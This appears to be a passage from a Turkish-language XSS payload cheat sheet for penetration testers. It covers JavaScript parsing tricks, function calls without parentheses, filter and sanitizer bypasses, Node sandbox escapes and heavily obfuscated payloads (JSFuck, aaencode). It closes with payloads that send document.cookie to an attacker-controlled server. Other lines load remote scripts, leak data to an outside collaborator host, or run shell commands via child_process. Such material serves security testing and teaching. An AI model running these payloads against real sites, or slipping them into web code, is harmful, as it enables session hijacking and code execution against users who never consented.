"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
// Any other char escaped is just itself

JS kodu içindeki boşluk ikameleri

<TAB>
/**/

JavaScript yorumları (JavaScript Comments trick’ten)

//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line

JavaScript new lines (kaynak JavaScript new line trick)

//Javascript interpret as new line these chars:
String.fromCharCode(10)
alert("//\nalert(1)") //0x0a
String.fromCharCode(13)
alert("//\ralert(1)") //0x0d
String.fromCharCode(8232)
alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9

JavaScript boşlukları

log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279

//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert&#65279;(1)>

Javascript bir yorum içinde

//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send

//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com

JavaScript parantezsiz

// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name

// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`

// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`

// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`

//It's possible to construct a function and call it
Function`x${'alert(1337)'}x`

// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead

// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.



// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''


// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}


// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.

Keyfi fonksiyon (alert) çağrısı

//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')

//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>

DOM vulnerabilities

Bir JS code, location.href gibi attacker tarafından kontrol edilen güvenli olmayan verileri kullanıyor. Bir attacker, bunu rastgele JS code çalıştırmak için kötüye kullanabilir.
Açıklamanın uzaması nedeniyle DOM vulnerabilities için bu sayfaya taşındı:

DOM XSS

Orada DOM vulnerabilities’in ne olduğu, nasıl tetiklendiği ve nasıl exploit edileceğine dair detaylı bir açıklama bulacaksınız.
Ayrıca, bahsedilen yazının sonunda DOM Clobbering attacks hakkında bir açıklama bulabileceğinizi unutmayın.

Upgrading Self-XSS

Eğer payload’u bir cookie içinde göndererek XSS tetikleyebiliyorsanız, bu genellikle self-XSS’tir. Ancak, eğer XSS’e karşı vulnerable bir subdomain bulursanız, bu XSS’i kötüye kullanarak tüm domain’e bir cookie enjekte edebilir ve böylece ana domain veya cookie XSS’e açık diğer subdomain’lerde (cookie XSS’e açık olanlarda) cookie XSS’i tetikleyebilirsiniz. Bunun için cookie tossing attack kullanabilirsiniz:

Cookie Tossing

Bu tekniğin büyük bir kötüye kullanımını bu blog yazısında bulabilirsiniz.

Sending your session to the admin

Belki bir kullanıcı profilini admin ile paylaşabilir ve eğer self XSS kullanıcının profilindeyse ve admin profili açarsa, zafiyeti tetiklemiş olur.

Session Mirroring

Eğer bazı self XSS’ler bulursanız ve web sayfası yöneticiler için session mirroring sağlıyorsa — örneğin müşterilerin yardım istemesine izin verip admin size yardım etmek için sizin oturumunuzda gördüklerini kendi oturumundan görüyorsa — administratorın sizin self XSS’inizi tetiklemesini sağlayıp onun cookie’lerini/oturumunu çalabilirsiniz.

Other Bypasses

Bypassing sanitization via WASM linear-memory template overwrite

Bir web uygulaması Emscripten/WASM kullandığında, sabit dizeler (HTML format stubları gibi) yazılabilir linear memory içinde bulunur. Tek bir in‑WASM overflow (ör. edit yolunda unchecked memcpy) bitişik yapıları bozup yazmaları bu sabitlere yönlendirebilir. “

%.*s

” gibi bir template’i “” ile overwrite etmek, sanitize edilmiş girdiyi bir JavaScript handler değeri haline getirir ve render sırasında anında DOM XSS’e yol açar.

Check the dedicated page with exploitation workflow, DevTools memory helpers, and defenses:

Wasm Linear Memory Template Overwrite Xss

Normalised Unicode

Yansıtılan değerlerin sunucuda (veya istemci tarafında) unicode normalleştirmesine tabi tutulup tutulmadığını kontrol edebilir ve bu işlevi korumaları bypass etmek için kötüye kullanabilirsiniz. Bir örneği burada bulun.

PHP FILTER_VALIDATE_EMAIL flag Bypass

"><svg/onload=confirm(1)>"@x.y

Ruby-On-Rails bypass

RoR mass assignment nedeniyle tırnak işaretleri HTML içine eklenir ve böylece tırnak kısıtı atlanır ve ek alanlar (onfocus) tag’in içine eklenebilir.
Form örneği (from this report), eğer payload’u gönderirseniz:

contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa

Çift “Key”,“Value” şu şekilde geri yansıtılacak:

{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}

Sonra, onfocus attribute eklenecek ve XSS gerçekleşir.

Özel kombinasyonlar

<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1'&#41</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)

XSS with header injection in a 302 response

Eğer inject headers in a 302 Redirect response yapabildiğinizi fark ederseniz, tarayıcının rastgele JavaScript çalıştırmasını denemek isteyebilirsiniz. Bu kolay değildir çünkü modern tarayıcılar HTTP yanıt durum kodu 302 ise HTTP yanıt gövdesini yorumlamaz; bu yüzden sadece bir cross-site scripting payload işe yaramaz.

In this report and this one bölümlerinde Location header içinde çeşitli protokolleri nasıl test edebileceğinizi ve bunlardan herhangi birinin tarayıcının gövdedeki XSS payload’u inceleyip çalıştırmasına izin verip vermediğini okuyabilirsiniz.
Past known protocols: mailto://, //x:1/, ws://, wss://, empty Location header, resource://.

Sadece Harfler, Rakamlar ve Noktalar

If you are able to indicate the callback that javascript is going to execute limited to those chars. Read this section of this post to find how to abuse this behaviour.

XSS için Geçerli <script> Content-Types

(From here) If you try to load a script with a content-type such as application/octet-stream, Chrome will throw following error:

Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx’ because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.

Chrome’un bir loaded script’i çalıştırmasını destekleyecek tek Content-Type’lar, const kSupportedJavascriptTypes içinde yer alanlardır (bkz. https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc).

const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};

XSS için Script Türleri

(From here) Peki, bir script yüklemek için hangi türler belirtilebilir?

<script type="???"></script>

Cevap:

  • module (varsayılan, açıklama gerekmiyor)
  • webbundle: Web Bundles, HTML, CSS, JS… gibi birden çok veriyi birlikte .wbn dosyası içinde paketleyebileceğiniz bir özelliktir.
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
  • importmap: import sözdizimini iyileştirmeye olanak tanır
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>

<!-- With importmap you can do the following -->
<script>
import moment from "moment"
import { partition } from "lodash"
</script>

Bu davranış this writeup içinde, bir kütüphaneyi eval’e yeniden eşleyip suistimal ederek XSS tetiklemek için kullanıldı.

  • speculationrules: Bu özellik esas olarak ön-renderleme nedeniyle ortaya çıkan bazı sorunları çözmek için tasarlanmıştır. İşleyişi şu şekildedir:
<script type="speculationrules">
{
"prerender": [
{ "source": "list", "urls": ["/page/2"], "score": 0.5 },
{
"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1
}
]
}
</script>

Web İçerik Türleri ile XSS

(Kaynak: here) Aşağıdaki content-type’lar tüm tarayıcılarda XSS çalıştırabilir:

  • text/html
  • application/xhtml+xml
  • application/xml
  • text/xml
  • image/svg+xml
  • text/plain (?? listede yok ama bunu bir CTF’de gördüğümü sanıyorum)
  • application/rss+xml (off)
  • application/atom+xml (off)

Diğer tarayıcılarda farklı Content-Types keyfi JS çalıştırmak için kullanılabilir, bkz: https://github.com/BlackFan/content-type-research/blob/master/XSS.md

xml İçerik Türü

Sayfa text/xml content-type ile döndürülüyorsa bir namespace belirterek keyfi JS çalıştırmak mümkündür:

<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>

<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->

Özel Yerine Koyma Desenleri

Aşağıdakine benzer bir kullanım yapıldığında "some {{template}} data".replace("{{template}}", <user_input>). Saldırgan, bazı korumaları aşmak için special string replacements kullanabilir: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))

For example in this writeup, this was used to bir JSON string’ini kaçışlandırmak inside a script and execute arbitrary code.

Chrome Cache ile XSS

Chrome Cache to XSS

XS Jails Escape

Sadece sınırlı bir karakter seti kullanabiliyorsanız, XSJail problemleri için bu diğer geçerli çözümleri inceleyin:

// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))

// use of with
with(console)log(123)
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))

with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))

//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()

// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE

Eğer güvenilmeyen kod yürütülmeden önce her şey undefined ise (örneğin this writeup), işe yarar nesneleri “hiçbir şeyden” üreterek keyfi güvenilmeyen kod yürütümünü kötüye kullanmak mümkün olur:

  • import() kullanarak
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
  • require’e dolaylı erişim

According to this modüller Node.js tarafından bir fonksiyon içinde sarılır, şöyle:

;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})

Bu nedenle, eğer o modülden başka bir fonksiyon çağırabiliyorsak, o fonksiyondan arguments.callee.caller.arguments[1] kullanarak require’e erişmek mümkün olur:

;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
"/flag.txt",
"utf8"
)
})()

Önceki örneğe benzer şekilde, error handlers kullanarak module’un wrapper’ına erişip require fonksiyonunu almak mümkündür:

try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = "".constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) =>
structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log("=".repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req("child_process").execSync("id").toString())
}
}
}
trigger()

Obfuscation & Advanced Bypass

//Katana
<script>
([,ウ,,,,ア]=[]+{}
,[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script>
//aaencode
゚ω゚ノ = /`m´)ノ ~┻━┻   / /*´∇`*/["_"]
o = ゚ー゚ = _ = 3
c = ゚Θ゚ = ゚ー゚ - ゚ー゚
゚Д゚ = ゚Θ゚ = (o ^ _ ^ o) / (o ^ _ ^ o)
゚Д゚ = {
゚Θ゚: "_",
゚ω゚ノ: ((゚ω゚ノ == 3) + "_")[゚Θ゚],
゚ー゚ノ: (゚ω゚ノ + "_")[o ^ _ ^ (o - ゚Θ゚)],
゚Д゚ノ: ((゚ー゚ == 3) + "_")[゚ー゚],
}
゚Д゚[゚Θ゚] = ((゚ω゚ノ == 3) + "_")[c ^ _ ^ o]
゚Д゚["c"] = (゚Д゚ + "_")[゚ー゚ + ゚ー゚ - ゚Θ゚]
゚Д゚["o"] = (゚Д゚ + "_")[゚Θ゚]
゚o゚ =
゚Д゚["c"] +
゚Д゚["o"] +
(゚ω゚ノ + "_")[゚Θ゚] +
((゚ω゚ノ == 3) + "_")[゚ー゚] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
((゚ー゚ == 3) + "_")[゚ー゚ - ゚Θ゚] +
゚Д゚["c"] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
゚Д゚["o"] +
((゚ー゚ == 3) + "_")[゚Θ゚]
゚Д゚["_"] = (o ^ _ ^ o)[゚o゚][゚o゚]
゚ε゚ =
((゚ー゚ == 3) + "_")[゚Θ゚] +
゚Д゚.゚Д゚ノ +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[o ^ _ ^ (o - ゚Θ゚)] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
(゚ω゚ノ + "_")[゚Θ゚]
゚ー゚ += ゚Θ゚
゚Д゚[゚ε゚] = "\\"
゚Д゚.゚Θ゚ノ = (゚Д゚ + ゚ー゚)[o ^ _ ^ (o - ゚Θ゚)]
o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
゚Д゚[゚o゚] = '"'
゚Д゚["_"](
゚Д゚["_"](
゚ε゚ +
゚Д゚[゚o゚] +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
(゚ー゚ + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚o゚]
)(゚Θ゚)
)("_")
// It's also possible to execute JS code only with the chars: []`+!${}

XSS yaygın payloads

Birden fazla payloads bir arada

Steal Info JS

Iframe Trap

Kullanıcının iframe’den çıkmadan sayfada gezinmesini sağlayın ve eylemlerini (formlarla gönderilen bilgiler dahil) çalın:

Iframe Traps

Çerezleri Al

<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
